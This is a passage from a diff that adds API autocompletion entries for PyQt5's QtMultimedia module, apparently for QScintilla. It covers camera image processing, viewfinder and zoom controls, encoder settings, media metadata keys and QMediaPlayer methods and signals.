+QtMultimedia.QCameraImageProcessing.ColorFilter.ColorFilterPosterize?10 +QtMultimedia.QCameraImageProcessing.ColorFilter.ColorFilterWhiteboard?10 +QtMultimedia.QCameraImageProcessing.ColorFilter.ColorFilterBlackboard?10 +QtMultimedia.QCameraImageProcessing.ColorFilter.ColorFilterAqua?10 +QtMultimedia.QCameraImageProcessing.ColorFilter.ColorFilterVendor?10 +QtMultimedia.QCameraImageProcessing.WhiteBalanceMode?10 +QtMultimedia.QCameraImageProcessing.WhiteBalanceMode.WhiteBalanceAuto?10 +QtMultimedia.QCameraImageProcessing.WhiteBalanceMode.WhiteBalanceManual?10 +QtMultimedia.QCameraImageProcessing.WhiteBalanceMode.WhiteBalanceSunlight?10 +QtMultimedia.QCameraImageProcessing.WhiteBalanceMode.WhiteBalanceCloudy?10 +QtMultimedia.QCameraImageProcessing.WhiteBalanceMode.WhiteBalanceShade?10 +QtMultimedia.QCameraImageProcessing.WhiteBalanceMode.WhiteBalanceTungsten?10 +QtMultimedia.QCameraImageProcessing.WhiteBalanceMode.WhiteBalanceFluorescent?10 +QtMultimedia.QCameraImageProcessing.WhiteBalanceMode.WhiteBalanceFlash?10 +QtMultimedia.QCameraImageProcessing.WhiteBalanceMode.WhiteBalanceSunset?10 +QtMultimedia.QCameraImageProcessing.WhiteBalanceMode.WhiteBalanceVendor?10 +QtMultimedia.QCameraImageProcessing.isAvailable?4() -> bool +QtMultimedia.QCameraImageProcessing.whiteBalanceMode?4() -> QCameraImageProcessing.WhiteBalanceMode +QtMultimedia.QCameraImageProcessing.setWhiteBalanceMode?4(QCameraImageProcessing.WhiteBalanceMode) +QtMultimedia.QCameraImageProcessing.isWhiteBalanceModeSupported?4(QCameraImageProcessing.WhiteBalanceMode) -> bool +QtMultimedia.QCameraImageProcessing.manualWhiteBalance?4() -> float +QtMultimedia.QCameraImageProcessing.setManualWhiteBalance?4(float) +QtMultimedia.QCameraImageProcessing.contrast?4() -> float +QtMultimedia.QCameraImageProcessing.setContrast?4(float) +QtMultimedia.QCameraImageProcessing.saturation?4() -> float +QtMultimedia.QCameraImageProcessing.setSaturation?4(float) +QtMultimedia.QCameraImageProcessing.sharpeningLevel?4() -> float +QtMultimedia.QCameraImageProcessing.setSharpeningLevel?4(float) +QtMultimedia.QCameraImageProcessing.denoisingLevel?4() -> float +QtMultimedia.QCameraImageProcessing.setDenoisingLevel?4(float) +QtMultimedia.QCameraImageProcessing.colorFilter?4() -> QCameraImageProcessing.ColorFilter +QtMultimedia.QCameraImageProcessing.setColorFilter?4(QCameraImageProcessing.ColorFilter) +QtMultimedia.QCameraImageProcessing.isColorFilterSupported?4(QCameraImageProcessing.ColorFilter) -> bool +QtMultimedia.QCameraImageProcessing.brightness?4() -> float +QtMultimedia.QCameraImageProcessing.setBrightness?4(float) +QtMultimedia.QCameraImageProcessingControl.ProcessingParameter?10 +QtMultimedia.QCameraImageProcessingControl.ProcessingParameter.WhiteBalancePreset?10 +QtMultimedia.QCameraImageProcessingControl.ProcessingParameter.ColorTemperature?10 +QtMultimedia.QCameraImageProcessingControl.ProcessingParameter.Contrast?10 +QtMultimedia.QCameraImageProcessingControl.ProcessingParameter.Saturation?10 +QtMultimedia.QCameraImageProcessingControl.ProcessingParameter.Brightness?10 +QtMultimedia.QCameraImageProcessingControl.ProcessingParameter.Sharpening?10 +QtMultimedia.QCameraImageProcessingControl.ProcessingParameter.Denoising?10 +QtMultimedia.QCameraImageProcessingControl.ProcessingParameter.ContrastAdjustment?10 +QtMultimedia.QCameraImageProcessingControl.ProcessingParameter.SaturationAdjustment?10 +QtMultimedia.QCameraImageProcessingControl.ProcessingParameter.BrightnessAdjustment?10 +QtMultimedia.QCameraImageProcessingControl.ProcessingParameter.SharpeningAdjustment?10 +QtMultimedia.QCameraImageProcessingControl.ProcessingParameter.DenoisingAdjustment?10 +QtMultimedia.QCameraImageProcessingControl.ProcessingParameter.ColorFilter?10 +QtMultimedia.QCameraImageProcessingControl.ProcessingParameter.ExtendedParameter?10 +QtMultimedia.QCameraImageProcessingControl?1(QObject parent=None) +QtMultimedia.QCameraImageProcessingControl.__init__?1(self, QObject parent=None) +QtMultimedia.QCameraImageProcessingControl.isParameterSupported?4(QCameraImageProcessingControl.ProcessingParameter) -> bool +QtMultimedia.QCameraImageProcessingControl.isParameterValueSupported?4(QCameraImageProcessingControl.ProcessingParameter, QVariant) -> bool +QtMultimedia.QCameraImageProcessingControl.parameter?4(QCameraImageProcessingControl.ProcessingParameter) -> QVariant +QtMultimedia.QCameraImageProcessingControl.setParameter?4(QCameraImageProcessingControl.ProcessingParameter, QVariant) +QtMultimedia.QCameraInfo?1(QByteArray name=QByteArray()) +QtMultimedia.QCameraInfo.__init__?1(self, QByteArray name=QByteArray()) +QtMultimedia.QCameraInfo?1(QCamera) +QtMultimedia.QCameraInfo.__init__?1(self, QCamera) +QtMultimedia.QCameraInfo?1(QCameraInfo) +QtMultimedia.QCameraInfo.__init__?1(self, QCameraInfo) +QtMultimedia.QCameraInfo.isNull?4() -> bool +QtMultimedia.QCameraInfo.deviceName?4() -> QString +QtMultimedia.QCameraInfo.description?4() -> QString +QtMultimedia.QCameraInfo.position?4() -> QCamera.Position +QtMultimedia.QCameraInfo.orientation?4() -> int +QtMultimedia.QCameraInfo.defaultCamera?4() -> QCameraInfo +QtMultimedia.QCameraInfo.availableCameras?4(QCamera.Position position=QCamera.UnspecifiedPosition) -> unknown-type +QtMultimedia.QCameraInfoControl?1(QObject parent=None) +QtMultimedia.QCameraInfoControl.__init__?1(self, QObject parent=None) +QtMultimedia.QCameraInfoControl.cameraPosition?4(QString) -> QCamera.Position +QtMultimedia.QCameraInfoControl.cameraOrientation?4(QString) -> int +QtMultimedia.QCameraLocksControl?1(QObject parent=None) +QtMultimedia.QCameraLocksControl.__init__?1(self, QObject parent=None) +QtMultimedia.QCameraLocksControl.supportedLocks?4() -> QCamera.LockTypes +QtMultimedia.QCameraLocksControl.lockStatus?4(QCamera.LockType) -> QCamera.LockStatus +QtMultimedia.QCameraLocksControl.searchAndLock?4(QCamera.LockTypes) +QtMultimedia.QCameraLocksControl.unlock?4(QCamera.LockTypes) +QtMultimedia.QCameraLocksControl.lockStatusChanged?4(QCamera.LockType, QCamera.LockStatus, QCamera.LockChangeReason) +QtMultimedia.QCameraViewfinderSettings?1() +QtMultimedia.QCameraViewfinderSettings.__init__?1(self) +QtMultimedia.QCameraViewfinderSettings?1(QCameraViewfinderSettings) +QtMultimedia.QCameraViewfinderSettings.__init__?1(self, QCameraViewfinderSettings) +QtMultimedia.QCameraViewfinderSettings.swap?4(QCameraViewfinderSettings) +QtMultimedia.QCameraViewfinderSettings.isNull?4() -> bool +QtMultimedia.QCameraViewfinderSettings.resolution?4() -> QSize +QtMultimedia.QCameraViewfinderSettings.setResolution?4(QSize) +QtMultimedia.QCameraViewfinderSettings.setResolution?4(int, int) +QtMultimedia.QCameraViewfinderSettings.minimumFrameRate?4() -> float +QtMultimedia.QCameraViewfinderSettings.setMinimumFrameRate?4(float) +QtMultimedia.QCameraViewfinderSettings.maximumFrameRate?4() -> float +QtMultimedia.QCameraViewfinderSettings.setMaximumFrameRate?4(float) +QtMultimedia.QCameraViewfinderSettings.pixelFormat?4() -> QVideoFrame.PixelFormat +QtMultimedia.QCameraViewfinderSettings.setPixelFormat?4(QVideoFrame.PixelFormat) +QtMultimedia.QCameraViewfinderSettings.pixelAspectRatio?4() -> QSize +QtMultimedia.QCameraViewfinderSettings.setPixelAspectRatio?4(QSize) +QtMultimedia.QCameraViewfinderSettings.setPixelAspectRatio?4(int, int) +QtMultimedia.QCameraViewfinderSettingsControl.ViewfinderParameter?10 +QtMultimedia.QCameraViewfinderSettingsControl.ViewfinderParameter.Resolution?10 +QtMultimedia.QCameraViewfinderSettingsControl.ViewfinderParameter.PixelAspectRatio?10 +QtMultimedia.QCameraViewfinderSettingsControl.ViewfinderParameter.MinimumFrameRate?10 +QtMultimedia.QCameraViewfinderSettingsControl.ViewfinderParameter.MaximumFrameRate?10 +QtMultimedia.QCameraViewfinderSettingsControl.ViewfinderParameter.PixelFormat?10 +QtMultimedia.QCameraViewfinderSettingsControl.ViewfinderParameter.UserParameter?10 +QtMultimedia.QCameraViewfinderSettingsControl?1(QObject parent=None) +QtMultimedia.QCameraViewfinderSettingsControl.__init__?1(self, QObject parent=None) +QtMultimedia.QCameraViewfinderSettingsControl.isViewfinderParameterSupported?4(QCameraViewfinderSettingsControl.ViewfinderParameter) -> bool +QtMultimedia.QCameraViewfinderSettingsControl.viewfinderParameter?4(QCameraViewfinderSettingsControl.ViewfinderParameter) -> QVariant +QtMultimedia.QCameraViewfinderSettingsControl.setViewfinderParameter?4(QCameraViewfinderSettingsControl.ViewfinderParameter, QVariant) +QtMultimedia.QCameraViewfinderSettingsControl2?1(QObject parent=None) +QtMultimedia.QCameraViewfinderSettingsControl2.__init__?1(self, QObject parent=None) +QtMultimedia.QCameraViewfinderSettingsControl2.supportedViewfinderSettings?4() -> unknown-type +QtMultimedia.QCameraViewfinderSettingsControl2.viewfinderSettings?4() -> QCameraViewfinderSettings +QtMultimedia.QCameraViewfinderSettingsControl2.setViewfinderSettings?4(QCameraViewfinderSettings) +QtMultimedia.QCameraZoomControl?1(QObject parent=None) +QtMultimedia.QCameraZoomControl.__init__?1(self, QObject parent=None) +QtMultimedia.QCameraZoomControl.maximumOpticalZoom?4() -> float +QtMultimedia.QCameraZoomControl.maximumDigitalZoom?4() -> float +QtMultimedia.QCameraZoomControl.requestedOpticalZoom?4() -> float +QtMultimedia.QCameraZoomControl.requestedDigitalZoom?4() -> float +QtMultimedia.QCameraZoomControl.currentOpticalZoom?4() -> float +QtMultimedia.QCameraZoomControl.currentDigitalZoom?4() -> float +QtMultimedia.QCameraZoomControl.zoomTo?4(float, float) +QtMultimedia.QCameraZoomControl.maximumOpticalZoomChanged?4(float) +QtMultimedia.QCameraZoomControl.maximumDigitalZoomChanged?4(float) +QtMultimedia.QCameraZoomControl.requestedOpticalZoomChanged?4(float) +QtMultimedia.QCameraZoomControl.requestedDigitalZoomChanged?4(float) +QtMultimedia.QCameraZoomControl.currentOpticalZoomChanged?4(float) +QtMultimedia.QCameraZoomControl.currentDigitalZoomChanged?4(float) +QtMultimedia.QCustomAudioRoleControl?1(QObject parent=None) +QtMultimedia.QCustomAudioRoleControl.__init__?1(self, QObject parent=None) +QtMultimedia.QCustomAudioRoleControl.customAudioRole?4() -> QString +QtMultimedia.QCustomAudioRoleControl.setCustomAudioRole?4(QString) +QtMultimedia.QCustomAudioRoleControl.supportedCustomAudioRoles?4() -> QStringList +QtMultimedia.QCustomAudioRoleControl.customAudioRoleChanged?4(QString) +QtMultimedia.QImageEncoderControl?1(QObject parent=None) +QtMultimedia.QImageEncoderControl.__init__?1(self, QObject parent=None) +QtMultimedia.QImageEncoderControl.supportedImageCodecs?4() -> QStringList +QtMultimedia.QImageEncoderControl.imageCodecDescription?4(QString) -> QString +QtMultimedia.QImageEncoderControl.supportedResolutions?4(QImageEncoderSettings) -> (unknown-type, bool) +QtMultimedia.QImageEncoderControl.imageSettings?4() -> QImageEncoderSettings +QtMultimedia.QImageEncoderControl.setImageSettings?4(QImageEncoderSettings) +QtMultimedia.QMediaAudioProbeControl?1(QObject parent=None) +QtMultimedia.QMediaAudioProbeControl.__init__?1(self, QObject parent=None) +QtMultimedia.QMediaAudioProbeControl.audioBufferProbed?4(QAudioBuffer) +QtMultimedia.QMediaAudioProbeControl.flush?4() +QtMultimedia.QMediaAvailabilityControl?1(QObject parent=None) +QtMultimedia.QMediaAvailabilityControl.__init__?1(self, QObject parent=None) +QtMultimedia.QMediaAvailabilityControl.availability?4() -> QMultimedia.AvailabilityStatus +QtMultimedia.QMediaAvailabilityControl.availabilityChanged?4(QMultimedia.AvailabilityStatus) +QtMultimedia.QMediaContainerControl?1(QObject parent=None) +QtMultimedia.QMediaContainerControl.__init__?1(self, QObject parent=None) +QtMultimedia.QMediaContainerControl.supportedContainers?4() -> QStringList +QtMultimedia.QMediaContainerControl.containerFormat?4() -> QString +QtMultimedia.QMediaContainerControl.setContainerFormat?4(QString) +QtMultimedia.QMediaContainerControl.containerDescription?4(QString) -> QString +QtMultimedia.QMediaContent?1() +QtMultimedia.QMediaContent.__init__?1(self) +QtMultimedia.QMediaContent?1(QUrl) +QtMultimedia.QMediaContent.__init__?1(self, QUrl) +QtMultimedia.QMediaContent?1(QNetworkRequest) +QtMultimedia.QMediaContent.__init__?1(self, QNetworkRequest) +QtMultimedia.QMediaContent?1(QMediaResource) +QtMultimedia.QMediaContent.__init__?1(self, QMediaResource) +QtMultimedia.QMediaContent?1(unknown-type) +QtMultimedia.QMediaContent.__init__?1(self, unknown-type) +QtMultimedia.QMediaContent?1(QMediaContent) +QtMultimedia.QMediaContent.__init__?1(self, QMediaContent) +QtMultimedia.QMediaContent?1(QMediaPlaylist, QUrl contentUrl=QUrl()) +QtMultimedia.QMediaContent.__init__?1(self, QMediaPlaylist, QUrl contentUrl=QUrl()) +QtMultimedia.QMediaContent.isNull?4() -> bool +QtMultimedia.QMediaContent.canonicalUrl?4() -> QUrl +QtMultimedia.QMediaContent.canonicalRequest?4() -> QNetworkRequest +QtMultimedia.QMediaContent.canonicalResource?4() -> QMediaResource +QtMultimedia.QMediaContent.resources?4() -> unknown-type +QtMultimedia.QMediaContent.playlist?4() -> QMediaPlaylist +QtMultimedia.QMediaContent.request?4() -> QNetworkRequest +QtMultimedia.QAudioEncoderSettings?1() +QtMultimedia.QAudioEncoderSettings.__init__?1(self) +QtMultimedia.QAudioEncoderSettings?1(QAudioEncoderSettings) +QtMultimedia.QAudioEncoderSettings.__init__?1(self, QAudioEncoderSettings) +QtMultimedia.QAudioEncoderSettings.isNull?4() -> bool +QtMultimedia.QAudioEncoderSettings.encodingMode?4() -> QMultimedia.EncodingMode +QtMultimedia.QAudioEncoderSettings.setEncodingMode?4(QMultimedia.EncodingMode) +QtMultimedia.QAudioEncoderSettings.codec?4() -> QString +QtMultimedia.QAudioEncoderSettings.setCodec?4(QString) +QtMultimedia.QAudioEncoderSettings.bitRate?4() -> int +QtMultimedia.QAudioEncoderSettings.setBitRate?4(int) +QtMultimedia.QAudioEncoderSettings.channelCount?4() -> int +QtMultimedia.QAudioEncoderSettings.setChannelCount?4(int) +QtMultimedia.QAudioEncoderSettings.sampleRate?4() -> int +QtMultimedia.QAudioEncoderSettings.setSampleRate?4(int) +QtMultimedia.QAudioEncoderSettings.quality?4() -> QMultimedia.EncodingQuality +QtMultimedia.QAudioEncoderSettings.setQuality?4(QMultimedia.EncodingQuality) +QtMultimedia.QAudioEncoderSettings.encodingOption?4(QString) -> QVariant +QtMultimedia.QAudioEncoderSettings.encodingOptions?4() -> QVariantMap +QtMultimedia.QAudioEncoderSettings.setEncodingOption?4(QString, QVariant) +QtMultimedia.QAudioEncoderSettings.setEncodingOptions?4(QVariantMap) +QtMultimedia.QVideoEncoderSettings?1() +QtMultimedia.QVideoEncoderSettings.__init__?1(self) +QtMultimedia.QVideoEncoderSettings?1(QVideoEncoderSettings) +QtMultimedia.QVideoEncoderSettings.__init__?1(self, QVideoEncoderSettings) +QtMultimedia.QVideoEncoderSettings.isNull?4() -> bool +QtMultimedia.QVideoEncoderSettings.encodingMode?4() -> QMultimedia.EncodingMode +QtMultimedia.QVideoEncoderSettings.setEncodingMode?4(QMultimedia.EncodingMode) +QtMultimedia.QVideoEncoderSettings.codec?4() -> QString +QtMultimedia.QVideoEncoderSettings.setCodec?4(QString) +QtMultimedia.QVideoEncoderSettings.resolution?4() -> QSize +QtMultimedia.QVideoEncoderSettings.setResolution?4(QSize) +QtMultimedia.QVideoEncoderSettings.setResolution?4(int, int) +QtMultimedia.QVideoEncoderSettings.frameRate?4() -> float +QtMultimedia.QVideoEncoderSettings.setFrameRate?4(float) +QtMultimedia.QVideoEncoderSettings.bitRate?4() -> int +QtMultimedia.QVideoEncoderSettings.setBitRate?4(int) +QtMultimedia.QVideoEncoderSettings.quality?4() -> QMultimedia.EncodingQuality +QtMultimedia.QVideoEncoderSettings.setQuality?4(QMultimedia.EncodingQuality) +QtMultimedia.QVideoEncoderSettings.encodingOption?4(QString) -> QVariant +QtMultimedia.QVideoEncoderSettings.encodingOptions?4() -> QVariantMap +QtMultimedia.QVideoEncoderSettings.setEncodingOption?4(QString, QVariant) +QtMultimedia.QVideoEncoderSettings.setEncodingOptions?4(QVariantMap) +QtMultimedia.QImageEncoderSettings?1() +QtMultimedia.QImageEncoderSettings.__init__?1(self) +QtMultimedia.QImageEncoderSettings?1(QImageEncoderSettings) +QtMultimedia.QImageEncoderSettings.__init__?1(self, QImageEncoderSettings) +QtMultimedia.QImageEncoderSettings.isNull?4() -> bool +QtMultimedia.QImageEncoderSettings.codec?4() -> QString +QtMultimedia.QImageEncoderSettings.setCodec?4(QString) +QtMultimedia.QImageEncoderSettings.resolution?4() -> QSize +QtMultimedia.QImageEncoderSettings.setResolution?4(QSize) +QtMultimedia.QImageEncoderSettings.setResolution?4(int, int) +QtMultimedia.QImageEncoderSettings.quality?4() -> QMultimedia.EncodingQuality +QtMultimedia.QImageEncoderSettings.setQuality?4(QMultimedia.EncodingQuality) +QtMultimedia.QImageEncoderSettings.encodingOption?4(QString) -> QVariant +QtMultimedia.QImageEncoderSettings.encodingOptions?4() -> QVariantMap +QtMultimedia.QImageEncoderSettings.setEncodingOption?4(QString, QVariant) +QtMultimedia.QImageEncoderSettings.setEncodingOptions?4(QVariantMap) +QtMultimedia.QMediaGaplessPlaybackControl?1(QObject parent=None) +QtMultimedia.QMediaGaplessPlaybackControl.__init__?1(self, QObject parent=None) +QtMultimedia.QMediaGaplessPlaybackControl.nextMedia?4() -> QMediaContent +QtMultimedia.QMediaGaplessPlaybackControl.setNextMedia?4(QMediaContent) +QtMultimedia.QMediaGaplessPlaybackControl.isCrossfadeSupported?4() -> bool +QtMultimedia.QMediaGaplessPlaybackControl.crossfadeTime?4() -> float +QtMultimedia.QMediaGaplessPlaybackControl.setCrossfadeTime?4(float) +QtMultimedia.QMediaGaplessPlaybackControl.crossfadeTimeChanged?4(float) +QtMultimedia.QMediaGaplessPlaybackControl.nextMediaChanged?4(QMediaContent) +QtMultimedia.QMediaGaplessPlaybackControl.advancedToNextMedia?4() +QtMultimedia.QMediaMetaData.AlbumArtist?7 +QtMultimedia.QMediaMetaData.AlbumTitle?7 +QtMultimedia.QMediaMetaData.AudioBitRate?7 +QtMultimedia.QMediaMetaData.AudioCodec?7 +QtMultimedia.QMediaMetaData.Author?7 +QtMultimedia.QMediaMetaData.AverageLevel?7 +QtMultimedia.QMediaMetaData.CameraManufacturer?7 +QtMultimedia.QMediaMetaData.CameraModel?7 +QtMultimedia.QMediaMetaData.Category?7 +QtMultimedia.QMediaMetaData.ChannelCount?7 +QtMultimedia.QMediaMetaData.ChapterNumber?7 +QtMultimedia.QMediaMetaData.Comment?7 +QtMultimedia.QMediaMetaData.Composer?7 +QtMultimedia.QMediaMetaData.Conductor?7 +QtMultimedia.QMediaMetaData.Contrast?7 +QtMultimedia.QMediaMetaData.ContributingArtist?7 +QtMultimedia.QMediaMetaData.Copyright?7 +QtMultimedia.QMediaMetaData.CoverArtImage?7 +QtMultimedia.QMediaMetaData.CoverArtUrlLarge?7 +QtMultimedia.QMediaMetaData.CoverArtUrlSmall?7 +QtMultimedia.QMediaMetaData.Date?7 +QtMultimedia.QMediaMetaData.DateTimeDigitized?7 +QtMultimedia.QMediaMetaData.DateTimeOriginal?7 +QtMultimedia.QMediaMetaData.Description?7 +QtMultimedia.QMediaMetaData.DeviceSettingDescription?7 +QtMultimedia.QMediaMetaData.DigitalZoomRatio?7 +QtMultimedia.QMediaMetaData.Director?7 +QtMultimedia.QMediaMetaData.Duration?7 +QtMultimedia.QMediaMetaData.Event?7 +QtMultimedia.QMediaMetaData.ExposureBiasValue?7 +QtMultimedia.QMediaMetaData.ExposureMode?7 +QtMultimedia.QMediaMetaData.ExposureProgram?7 +QtMultimedia.QMediaMetaData.ExposureTime?7 +QtMultimedia.QMediaMetaData.FNumber?7 +QtMultimedia.QMediaMetaData.Flash?7 +QtMultimedia.QMediaMetaData.FocalLength?7 +QtMultimedia.QMediaMetaData.FocalLengthIn35mmFilm?7 +QtMultimedia.QMediaMetaData.GPSAltitude?7 +QtMultimedia.QMediaMetaData.GPSAreaInformation?7 +QtMultimedia.QMediaMetaData.GPSDOP?7 +QtMultimedia.QMediaMetaData.GPSImgDirection?7 +QtMultimedia.QMediaMetaData.GPSImgDirectionRef?7 +QtMultimedia.QMediaMetaData.GPSLatitude?7 +QtMultimedia.QMediaMetaData.GPSLongitude?7 +QtMultimedia.QMediaMetaData.GPSMapDatum?7 +QtMultimedia.QMediaMetaData.GPSProcessingMethod?7 +QtMultimedia.QMediaMetaData.GPSSatellites?7 +QtMultimedia.QMediaMetaData.GPSSpeed?7 +QtMultimedia.QMediaMetaData.GPSStatus?7 +QtMultimedia.QMediaMetaData.GPSTimeStamp?7 +QtMultimedia.QMediaMetaData.GPSTrack?7 +QtMultimedia.QMediaMetaData.GPSTrackRef?7 +QtMultimedia.QMediaMetaData.GainControl?7 +QtMultimedia.QMediaMetaData.Genre?7 +QtMultimedia.QMediaMetaData.ISOSpeedRatings?7 +QtMultimedia.QMediaMetaData.Keywords?7 +QtMultimedia.QMediaMetaData.Language?7 +QtMultimedia.QMediaMetaData.LeadPerformer?7 +QtMultimedia.QMediaMetaData.LightSource?7 +QtMultimedia.QMediaMetaData.Lyrics?7 +QtMultimedia.QMediaMetaData.MediaType?7 +QtMultimedia.QMediaMetaData.MeteringMode?7 +QtMultimedia.QMediaMetaData.Mood?7 +QtMultimedia.QMediaMetaData.Orientation?7 +QtMultimedia.QMediaMetaData.ParentalRating?7 +QtMultimedia.QMediaMetaData.PeakValue?7 +QtMultimedia.QMediaMetaData.PixelAspectRatio?7 +QtMultimedia.QMediaMetaData.PosterImage?7 +QtMultimedia.QMediaMetaData.PosterUrl?7 +QtMultimedia.QMediaMetaData.Publisher?7 +QtMultimedia.QMediaMetaData.RatingOrganization?7 +QtMultimedia.QMediaMetaData.Resolution?7 +QtMultimedia.QMediaMetaData.SampleRate?7 +QtMultimedia.QMediaMetaData.Saturation?7 +QtMultimedia.QMediaMetaData.SceneCaptureType?7 +QtMultimedia.QMediaMetaData.Sharpness?7 +QtMultimedia.QMediaMetaData.Size?7 +QtMultimedia.QMediaMetaData.SubTitle?7 +QtMultimedia.QMediaMetaData.Subject?7 +QtMultimedia.QMediaMetaData.SubjectDistance?7 +QtMultimedia.QMediaMetaData.ThumbnailImage?7 +QtMultimedia.QMediaMetaData.Title?7 +QtMultimedia.QMediaMetaData.TrackCount?7 +QtMultimedia.QMediaMetaData.TrackNumber?7 +QtMultimedia.QMediaMetaData.UserRating?7 +QtMultimedia.QMediaMetaData.VideoBitRate?7 +QtMultimedia.QMediaMetaData.VideoCodec?7 +QtMultimedia.QMediaMetaData.VideoFrameRate?7 +QtMultimedia.QMediaMetaData.WhiteBalance?7 +QtMultimedia.QMediaMetaData.Writer?7 +QtMultimedia.QMediaMetaData.Year?7 +QtMultimedia.QMediaNetworkAccessControl?1(QObject parent=None) +QtMultimedia.QMediaNetworkAccessControl.__init__?1(self, QObject parent=None) +QtMultimedia.QMediaNetworkAccessControl.setConfigurations?4(unknown-type) +QtMultimedia.QMediaNetworkAccessControl.currentConfiguration?4() -> QNetworkConfiguration +QtMultimedia.QMediaNetworkAccessControl.configurationChanged?4(QNetworkConfiguration) +QtMultimedia.QMediaPlayer.Error?10 +QtMultimedia.QMediaPlayer.Error.NoError?10 +QtMultimedia.QMediaPlayer.Error.ResourceError?10 +QtMultimedia.QMediaPlayer.Error.FormatError?10 +QtMultimedia.QMediaPlayer.Error.NetworkError?10 +QtMultimedia.QMediaPlayer.Error.AccessDeniedError?10 +QtMultimedia.QMediaPlayer.Error.ServiceMissingError?10 +QtMultimedia.QMediaPlayer.Flag?10 +QtMultimedia.QMediaPlayer.Flag.LowLatency?10 +QtMultimedia.QMediaPlayer.Flag.StreamPlayback?10 +QtMultimedia.QMediaPlayer.Flag.VideoSurface?10 +QtMultimedia.QMediaPlayer.MediaStatus?10 +QtMultimedia.QMediaPlayer.MediaStatus.UnknownMediaStatus?10 +QtMultimedia.QMediaPlayer.MediaStatus.NoMedia?10 +QtMultimedia.QMediaPlayer.MediaStatus.LoadingMedia?10 +QtMultimedia.QMediaPlayer.MediaStatus.LoadedMedia?10 +QtMultimedia.QMediaPlayer.MediaStatus.StalledMedia?10 +QtMultimedia.QMediaPlayer.MediaStatus.BufferingMedia?10 +QtMultimedia.QMediaPlayer.MediaStatus.BufferedMedia?10 +QtMultimedia.QMediaPlayer.MediaStatus.EndOfMedia?10 +QtMultimedia.QMediaPlayer.MediaStatus.InvalidMedia?10 +QtMultimedia.QMediaPlayer.State?10 +QtMultimedia.QMediaPlayer.State.StoppedState?10 +QtMultimedia.QMediaPlayer.State.PlayingState?10 +QtMultimedia.QMediaPlayer.State.PausedState?10 +QtMultimedia.QMediaPlayer?1(QObject parent=None, QMediaPlayer.Flags flags=QMediaPlayer.Flags()) +QtMultimedia.QMediaPlayer.__init__?1(self, QObject parent=None, QMediaPlayer.Flags flags=QMediaPlayer.Flags()) +QtMultimedia.QMediaPlayer.hasSupport?4(QString, QStringList codecs=[], QMediaPlayer.Flags flags=QMediaPlayer.Flags()) -> QMultimedia.SupportEstimate +QtMultimedia.QMediaPlayer.supportedMimeTypes?4(QMediaPlayer.Flags flags=QMediaPlayer.Flags()) -> QStringList +QtMultimedia.QMediaPlayer.setVideoOutput?4(QVideoWidget) +QtMultimedia.QMediaPlayer.setVideoOutput?4(QGraphicsVideoItem) +QtMultimedia.QMediaPlayer.setVideoOutput?4(QAbstractVideoSurface) +QtMultimedia.QMediaPlayer.setVideoOutput?4(unknown-type) +QtMultimedia.QMediaPlayer.media?4() -> QMediaContent +QtMultimedia.QMediaPlayer.mediaStream?4() -> QIODevice +QtMultimedia.QMediaPlayer.playlist?4() -> QMediaPlaylist +QtMultimedia.QMediaPlayer.currentMedia?4() -> QMediaContent +QtMultimedia.QMediaPlayer.state?4() -> QMediaPlayer.State +QtMultimedia.QMediaPlayer.mediaStatus?4() -> QMediaPlayer.MediaStatus +QtMultimedia.QMediaPlayer.duration?4() -> int +QtMultimedia.QMediaPlayer.position?4() -> int +QtMultimedia.QMediaPlayer.volume?4() -> int +QtMultimedia.QMediaPlayer.isMuted?4() -> bool +QtMultimedia.QMediaPlayer.isAudioAvailable?4() -> bool +QtMultimedia.QMediaPlayer.isVideoAvailable?4() -> bool +QtMultimedia.QMediaPlayer.bufferStatus?4() -> int +QtMultimedia.QMediaPlayer.isSeekable?4() -> bool +QtMultimedia.QMediaPlayer.playbackRate?4() -> float +QtMultimedia.QMediaPlayer.error?4() -> QMediaPlayer.Error +QtMultimedia.QMediaPlayer.errorString?4() -> QString +QtMultimedia.QMediaPlayer.currentNetworkConfiguration?4() -> QNetworkConfiguration +QtMultimedia.QMediaPlayer.availability?4() -> QMultimedia.AvailabilityStatus +QtMultimedia.QMediaPlayer.play?4() +QtMultimedia.QMediaPlayer.pause?4() +QtMultimedia.QMediaPlayer.stop?4() +QtMultimedia.QMediaPlayer.setPosition?4(int) +QtMultimedia.QMediaPlayer.setVolume?4(int) +QtMultimedia.QMediaPlayer.setMuted?4(bool) +QtMultimedia.QMediaPlayer.setPlaybackRate?4(float) +QtMultimedia.QMediaPlayer.setMedia?4(QMediaContent, QIODevice stream=None) +QtMultimedia.QMediaPlayer.setPlaylist?4(QMediaPlaylist) +QtMultimedia.QMediaPlayer.setNetworkConfigurations?4(unknown-type) +QtMultimedia.QMediaPlayer.mediaChanged?4(QMediaContent) +QtMultimedia.QMediaPlayer.currentMediaChanged?4(QMediaContent) +QtMultimedia.QMediaPlayer.stateChanged?4(QMediaPlayer.State) +QtMultimedia.QMediaPlayer.mediaStatusChanged?4(QMediaPlayer.MediaStatus) +QtMultimedia.QMediaPlayer.durationChanged?4(int) +QtMultimedia.QMediaPlayer.positionChanged?4(int) +QtMultimedia.QMediaPlayer.volumeChanged?4(int) +QtMultimedia.QMediaPlayer.mutedChanged?4(bool) +QtMultimedia.QMediaPlayer.audioAvailableChanged?4(bool) +QtMultimedia.QMediaPlayer.videoAvailableChanged?4(bool) +QtMultimedia.QMediaPlayer.bufferStatusChanged?4(int) +QtMultimedia.QMediaPlayer.seekableChanged?4(bool) +QtMultimedia.QMediaPlayer.playbackRateChanged?4(float) +QtMultimedia.QMediaPlayer.error?4(QMediaPlayer.Error) +QtMultimedia.QMediaPlayer.networkConfigurationChanged?4(QNetworkConfiguration) +QtMultimedia.QMediaPlayer.bind?4(QObject) -> bool +QtMultimedia.QMediaPlayer.unbind?4(QObject) +QtMultimedia.QMediaPlayer.audioRole?4() -> QAudio.Role +QtMultimedia.QMediaPlayer.setAudioRole?4(QAudio.Role) +QtMultimedia.QMediaPlayer.supportedAudioRoles?4() -> unknown-type +QtMultimedia.QMediaPlayer.audioRoleChanged?4(QAudio.Role) +QtMultimedia.QMediaPlayer.customAudioRole?4() -> QString +QtMultimedia.QMediaPlayer.setCustomAudioRole?4(QString) +QtMultimedia.QMediaPlayer.supportedCustomAudioRoles?4() -> QStringList +QtMultimedia.QMediaPlayer.customAudioRoleChanged?4(QString) +QtMultimedia.QMediaPlayer.Flags?1() +QtMultimedia.QMediaPlayer.Flags.__init__?1(self) +QtMultimedia.QMediaPlayer.Flags?1(int) +QtMultimedia.QMediaPlayer.Flags.__init__?1(self, int) +QtMultimedia.QMediaPlayer.Flags?1(QMediaPlayer.Flags) 